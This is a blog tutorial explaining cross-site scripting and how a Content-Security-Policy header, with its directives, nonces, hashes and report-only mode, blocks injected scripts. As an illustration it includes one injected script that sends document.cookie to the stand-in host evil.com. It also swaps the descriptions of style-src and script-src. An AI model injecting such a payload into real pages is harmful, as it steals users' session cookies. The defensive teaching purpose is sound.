Do you recognise the page below?
Yeah you’re right, it’s the CIA web page and it looks that it was hacked… how?
A hacker found a way of injecting some code on this web site due to some XSS Vulnerability.
In this case it was something harmless, he was just advertising his twitter account. Basically he just added some text to that page. But can you imagine if in this trustworthy website there was some link that would lead you to some malicious website? For sure most of the users would not suspect this and would click there.
Ok, so what is XSS and how can he inject code on a page that’s not his?
XSS – Cross-site scripting
XSS is a security vulnerability found in web applications that enables attackers to inject client-side scripts into web pages viewed by other users.
Usually this is achieved by adding javascript code into one of the pages input text fields, like the search field.
So, what can we do to prevent this? Below are the most recommended techniques from the OWASP organisation:
- Input validation
- Output sanitisation and escaping
- Use safer frameworks that automatically escape for XSS by design
- Escape untrusted HTTP request data
- Apply context sensitive encoding when modifying the DOM (like innerText instead of innerHTML)
It sounds a lot, specially if you already have a running website that has a lot of forms and input fields.
And then you might think, ok if the problem are script tags and special characters I can prevent the user from writing them on my page inputs…
But if you didn’t know is possible to write javascript code only with 6 characters! Yes that’s right, you can check this webpage here and try it out.
Despite this amount of code only displays an alert popup, you could write an entire malicious code here as well.
It’s getting really tricky to avoid XSS on our webpage! Fortunately there is CSP to help us!
CSP – Content Security Policy
CSP defines the Content-Security-Policy response HTTP header that allows you to create a whitelist of sources of trusted content.
This means, that by adding some directives to our webpage response headers, for all the web pages, we can in fact limit and restrict (by type of content and from which location) the code that can run on our web page.
Example
If we have this HTTP header on our page:
Content-Security-Policy: script-src 'self' code.jquery.com
And then if one attacker tried to inject this code into our search field:
<script>
new Image('http://evil.com/?cookie=' + document.cookie);
</script>
We would see this error on the browser console:
Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' code.jquery.com".
So what just happened here? Just by adding that single HTTP header on your web server, that javascript code was automatically blocked by the browser since our CSP directive explicitly only allow scripts from the same origin that our web page and scripts from the jquery.com
domain. So all other scripts from other domains are blocked, since they are not matched on our whitelist.
CSP Directives
Bellow are some of the most common used directives:
- style-src Specifies valid sources for JavaScript
- script-src Specifies valid sources for stylesheets
- font-src Specifies valid sources for fonts loaded using
@font-face
- img-src Specifies valid sources of images and favicons
- media-src Specifies valid sources for loading media using the
<audio>
,<video>
and<track>
elements - object-src Specifies valid sources for the <object>, <embed> and <applet> elements
- connect-src Limits the origins to which you can connect (via XHR, WebSockets and EventSource)
- default-src Default behaviour for directives ending in -src
- base-uri Restricts the URLs which can be used in a document’s <base> element
- form-action Restricts the URLs which can be used as the target of a form submissions from a given context
- frame-ancestors Specifies valid parents that may embed a page using <frame>, <iframe>, <object>, <embed> or <applet>
- report-uri Instructs the user agent to report attempts to violate the Content Security Policy. These violation reports consist of JSON documents sent via an HTTP POST request to the specified URI
Directives accepted values
Bellow are the accepted values that the above directives support, apart from those, you can add space separated values like we saw on the first example.
- ‘none’
- ‘self’ matches the current origin, but not its subdomains
- ‘unsafe-inline’ allows inline JavaScript and CSS
- ‘unsafe-eval’ allows text-to-JavaScript mechanisms like eval
Nounces & Hashes
Sometimes you need to have certain inline script and style elements, while avoiding use of the CSP unsafe-inline directive. For this scenarios you can use nounce or hash.
Nounces
If we have this HTTP header on our page:
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'
And we have this HTML code on our page:
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// Some inline code I can't remove yet, but need to asap.
</script>
- Nonces must be regenerated for every page request and they must be unguessable
- Good option for dynamically generated pages, unsuitable for static content
Hashes
If we have this HTTP header on our page:
Content-Security-Policy: default-src 'self'
And we have this HTML code on our page:
If we try to load our page now, the browser complains:
In this scenario, the browser is even telling us what to do, is telling us to add that hash to our CSP directive:
- The hash value is the result of base64 encoding the binary hash of the code inside the above script tag. Any change in the script whatsoever will alter the resulting hash and the script will not be executed
- Hashes are perfect for scripts that don’t change that often, like the above google analytics code
How do I get started?
Enable CSP early as possible in development mode, and if you have already a running application, enable CSP in report only mode (example below).
Reporting only mode example
Content-Security-Policy-Report-Only: default-src 'self';
report-uri /my_amazing_csp_report_parser;
- Won’t block restricted resources, but it will send violation reports
- Able to add both headers, enforcing one policy while monitoring another
Last but not least, the browser support! You will be quite happy with it, please check it here
I hope you understand a bit better what CSP is and please add it to your app asap! 🙂